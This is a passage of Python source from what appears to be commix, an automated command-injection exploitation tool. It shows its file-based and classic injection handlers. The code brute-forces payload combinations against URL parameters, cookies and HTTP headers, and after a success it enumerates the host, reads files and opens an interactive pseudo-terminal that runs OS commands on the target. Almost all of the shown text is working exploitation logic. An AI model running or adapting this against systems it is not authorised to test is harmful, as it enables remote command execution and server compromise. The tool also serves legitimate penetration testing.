response = fb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Host HTTP Header Injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to Host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(
menu.options.host)
response = fb_injector.host_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
response = fb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(
payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(
url, OUTPUT_TEXTFILE, timesec)
time.sleep(timesec)
try:
# Check if defined extra headers.
request = _urllib.request.Request(output)
headers.do_check(request)
# Evaluate test results.
output = _urllib.request.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(shell) != 0 and shell[
0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
percent = settings.SUCCESS_MSG
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
if len(shell) == 0:
raise _urllib.error.HTTPError(
url, 404, 'Error', {}, None)
except _urllib.error.HTTPError as e:
if str(e.getcode()
) == settings.NOT_FOUND_ERROR:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(
menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, timesec,
filename, tmp_path,
http_request_method,
url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == int(menu.options.failed_tries
) and no_result == True:
tmp_path = check_tmp_path(
url, timesec, filename,
http_request_method,
url_time_response)
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write(
"\r" + settings.print_warning_msg(
warn_msg))
print("")
while True:
if not menu.options.batch:
question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
tmp_upload = _input(
settings.
print_question_msg(
question_msg))
else:
tmp_upload = ""
if len(tmp_upload) == 0:
tmp_upload = "y"
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
settings.TEMPFILE_BASED_STATE = True
call_tfb = tfb_controller(
no_result, url, timesec,
filename, tmp_path,
http_request_method,
url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOICE_NO:
break
elif tmp_upload in settings.CHOICE_QUIT:
print("")
raise
else:
err_msg = "'" + tmp_upload + "' is not a valid answer."
print(
settings.print_error_msg(
err_msg))
pass
continue
else:
if exit_loops == False:
if not settings.VERBOSITY_LEVEL >= 1:
if str(float_percent
) == "100.0":
if no_result == True:
percent = settings.FAIL_STATUS
else:
percent = ".. (" + str(
float_percent
) + "%)"
else:
percent = ".. (" + str(
float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write(
"\r" +
settings.print_info_msg(
info_msg))
sys.stdout.flush()
continue
else:
continue
else:
raise
elif str(e.getcode()
) == settings.UNAUTHORIZED_ERROR:
err_msg = "Authorization required!"
print(
settings.print_critical_msg(err_msg) +
"\n")
raise SystemExit()
elif str(e.getcode()
) == settings.FORBIDDEN_ERROR:
err_msg = "You don't have permission to access this page."
print(
settings.print_critical_msg(err_msg) +
"\n")
raise SystemExit()
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise
except _urllib.error.URLError as e:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write(
"\r" + settings.print_warning_msg(warn_msg))
err_msg = str(e).replace(": ", " (") + ")."
if menu.options.verbose > 1:
print("")
print(settings.print_critical_msg(err_msg))
# Provide custom server's root directory.
custom_web_root(url, timesec, filename,
http_request_method,
url_time_response)
continue
except:
raise
# Yaw, got shellz!
# Do some magic tricks!
if shell:
settings.FILE_BASED_STATE = True
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if not settings.VERBOSITY_LEVEL >= 1 and \
not menu.options.alter_shell and \
not next_attack_vector:
next_attack_vector = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = "Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if not settings.VERBOSITY_LEVEL >= 1:
print("")
else:
checks.total_of_requests()
# Print the findings to terminal.
success_msg = "The"
if len(found_vuln_parameter
) > 0 and not "cookie" in header_name:
success_msg += " " + http_request_method
success_msg += ('', ' (JSON)')[settings.IS_JSON] + (
'', ' (SOAP/XML)'
)[settings.IS_XML] + the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print(settings.print_success_msg(success_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell[0],
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response=0,
timesec=0,
how_long=0,
output_length=0,
is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True:
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = _input(
"\n" + settings.print_question_msg(
question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
fb_enumeration.do_check(
separator, payload, TAG, timesec,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
# print("")
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.enumeration_options():
fb_enumeration.do_check(
separator, payload, TAG, timesec, prefix,
suffix, whitespace, http_request_method,
url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
if not menu.file_access_options(
) and not menu.options.os_cmd:
if not settings.VERBOSITY_LEVEL >= 1 and new_line:
print("")
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
if settings.ENUMERATION_DONE != True:
print("")
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
file_access_again = _input(
settings.print_question_msg(
question_msg))
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
fb_file_access.do_check(
separator, payload, TAG, timesec,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
print("")
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print("")
fb_file_access.do_check(
separator, payload, TAG, timesec, prefix,
suffix, whitespace, http_request_method,
url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
print("")
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print("")
fb_enumeration.single_os_cmd_exec(
separator, payload, TAG, timesec, prefix,
suffix, whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
filename)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
raise SystemExit()
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output)
# if settings.VERBOSITY_LEVEL >= 1:
# print("")
delete_previous_shell(
separator, payload, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
if settings.VERBOSITY_LEVEL >= 1:
print("")
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(
settings.print_question_msg(
question_msg))
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print("")
print("Pseudo-Terminal (type '" +
Style.BRIGHT + "?" +
Style.RESET_ALL +
"' for available options)")
if readline_error:
checks.no_readline_module()
while True:
# Tab compliter
if not readline_error:
readline.set_completer(
menu.tab_completer)
# MacOSX tab compliter
if getattr(
readline, '__doc__', ''
) is not None and 'libedit' in getattr(
readline, '__doc__', ''):
readline.parse_and_bind(
"bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind(
"tab: complete")
cmd = _input("""commix(""" +
Style.BRIGHT + Fore.RED +
"""os_shell""" +
Style.RESET_ALL +
""") > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL >= 1:
# print("")
if cmd.lower(
) in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename, technique, go_back,
no_result, timesec,
go_back_again, payload,
OUTPUT_TEXTFILE)
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
time.sleep(timesec)
response = fb_injector.injection(
separator, payload, TAG, cmd,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Command execution results.
shell = fb_injector.injection_results(
url, OUTPUT_TEXTFILE,
timesec)
shell = "".join(
str(p) for p in shell)
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, shell,
vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if shell:
if shell != "":
# Update logs with executed cmds and execution results.
logs.executed_command(
filename, cmd, shell)
print("\n" + Fore.GREEN +
Style.BRIGHT +
shell +
Style.RESET_ALL +
"\n")
if not shell or shell == "":
if settings.VERBOSITY_LEVEL >= 1:
print("")
err_msg = "The '" + cmd + "' command, does not return any output."
print(
settings.
print_critical_msg(
err_msg) + "\n")
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(
separator, payload, TAG, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
except KeyboardInterrupt:
# if settings.VERBOSITY_LEVEL >= 1:
print("")
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG,
prefix, suffix, whitespace,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE, alter_shell,
filename)
raise
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print("")
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()
def cb_injection_handler(url, timesec, filename, http_request_method,
injection_type, technique):
shell = False
counter = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
if not settings.LOAD_SESSION:
info_msg = "Testing the " + "(" + injection_type.split(
" ")[0] + ") " + technique + ". "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(
settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACES:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
if whitespace == " ":
whitespace = _urllib.parse.quote(whitespace)
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(
url, technique, injection_type):
try:
settings.CLASSIC_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
url, http_request_method)
checks.check_for_stored_tamper(payload)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(
random.choice(string.ascii_uppercase)
for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = cb_payloads.decision_alter_shell(
separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.decision(
separator, TAG, randv1, randv2)
# Define prefixes & suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(
settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(
payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
print(settings.print_payload(payload))
elif settings.VERBOSITY_LEVEL >= 2:
debug_msg = "Generating payload for the injection."
print(settings.print_debug_msg(debug_msg))
print(settings.print_payload(payload))
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(
menu.options.cookie)
response = cb_injector.cookie_injection_test(
url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(
menu.options.agent)
response = cb_injector.user_agent_injection_test(
url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(
menu.options.referer)
response = cb_injector.referer_injection_test(
url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(
menu.options.host)
response = cb_injector.host_injection_test(
url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(
settings.INJECT_TAG)
response = cb_injector.custom_header_injection_test(
url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = cb_injector.injection_test(
payload, http_request_method, url)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate test results.
time.sleep(timesec)
shell = cb_injector.injection_test_results(
response, TAG, randvcalc)
if settings.VERBOSITY_LEVEL == 0:
percent = ((i * 100) / total)
float_percent = "{0:.1f}".format(
round(((i * 100) / (total * 1.0)), 2))
if shell == False:
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "." + " (" + str(
float_percent) + "%)"
sys.stdout.write(
"\r" +
settings.print_info_msg(info_msg))
sys.stdout.flush()
if float(float_percent) >= 99.9:
if no_result == True:
percent = settings.FAIL_STATUS
else:
percent = ".. (" + str(
float_percent) + "%)"
elif len(shell) != 0:
percent = settings.info_msg
else:
percent = ".. (" + str(
float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(
" "
)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write(
"\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = " Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
found_vuln_parameter = parameters.vuln_GET_param(
url)
else:
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0:
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(
export_injection_info, filename,
injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(
vp_flag, filename, the_type, header_name,
http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
else:
checks.total_of_requests()
# Print the findings to terminal.
info_msg = "The"
if len(found_vuln_parameter
) > 0 and not "cookie" in header_name:
info_msg += " " + http_request_method + ""
info_msg += ('', ' (JSON)')[settings.IS_JSON] + (
'', ' (SOAP/XML)'
)[settings.IS_XML] + the_type + header_name
info_msg += found_vuln_parameter + " seems injectable via "
info_msg += "(" + injection_type.split(
" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(
url,
technique,
injection_type,
separator,
shell[0],
vuln_parameter,
prefix,
suffix,
TAG,
alter_shell,
payload,
http_request_method,
url_time_response=0,
timesec=0,
how_long=0,
output_length=0,
is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACES[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True:
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = _input(
"\n" + settings.print_question_msg(
question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "Y"
if enumerate_again in settings.CHOICE_YES:
cb_enumeration.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename,
timesec)
#print(settings.SINGLE_WHITESPACE)
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.enumeration_options():
cb_enumeration.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, timesec)
if not menu.file_access_options(
) and not menu.options.os_cmd and new_line:
print(settings.SINGLE_WHITESPACE)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True:
if settings.ENUMERATION_DONE != True:
print(settings.SINGLE_WHITESPACE)
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
file_access_again = _input(
settings.print_question_msg(
question_msg))
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "Y"
if file_access_again in settings.CHOICE_YES:
cb_file_access.do_check(
separator, TAG, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename,
timesec)
print(settings.SINGLE_WHITESPACE)
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print(settings.SINGLE_WHITESPACE)
cb_file_access.do_check(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, timesec)
print(settings.SINGLE_WHITESPACE)
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print(settings.SINGLE_WHITESPACE)
cb_enumeration.single_os_cmd_exec(
separator, TAG, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter,
alter_shell, filename, timesec)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(
settings.print_question_msg(question_msg))
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "Y"
if gotshell in settings.CHOICE_YES:
# if not menu.options.batch:
# print(settings.SINGLE_WHITESPACE)
print("Pseudo-Terminal (type '" +
Style.BRIGHT + "?" + Style.RESET_ALL +
"' for available options)")
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
try:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
cmd = _input()
cmd = checks.escaped_cmd(cmd)
if cmd.lower(
) in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(
separator,
TAG,
cmd,
prefix,
suffix,
whitespace,
http_request_method,
url,
vuln_parameter,
alter_shell,
filename,
technique,
go_back,
no_result,
timesec,
go_back_again,
payload,
OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
# Command execution results.
time.sleep(timesec)
response = cb_injector.injection(
separator, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, alter_shell,
filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(
url, timesec)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
try:
shell = cb_injector.injection_results(
response, TAG, cmd)
shell = "".join(
str(p) for p in shell)
except:
print(settings.
SINGLE_WHITESPACE)
continue
if not menu.options.ignore_session:
session_handler.store_cmd(
url, cmd, shell,
vuln_parameter)
else:
shell = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
if shell:
shell = unescape(shell)
# Update logs with executed cmds and execution results.
logs.executed_command(
filename, cmd, shell)
if shell != "":
print("\n" + Fore.GREEN +
Style.BRIGHT + shell +
Style.RESET_ALL + "\n")
else:
if settings.VERBOSITY_LEVEL != 0:
print(settings.
SINGLE_WHITESPACE)
err_msg = "The '" + cmd + "' command, does not return any output."
print(
settings.
print_critical_msg(
err_msg) + "\n")
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(
settings.print_error_msg(err_msg))
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(
technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
return False
else:
sys.stdout.write("\r")
sys.stdout.flush()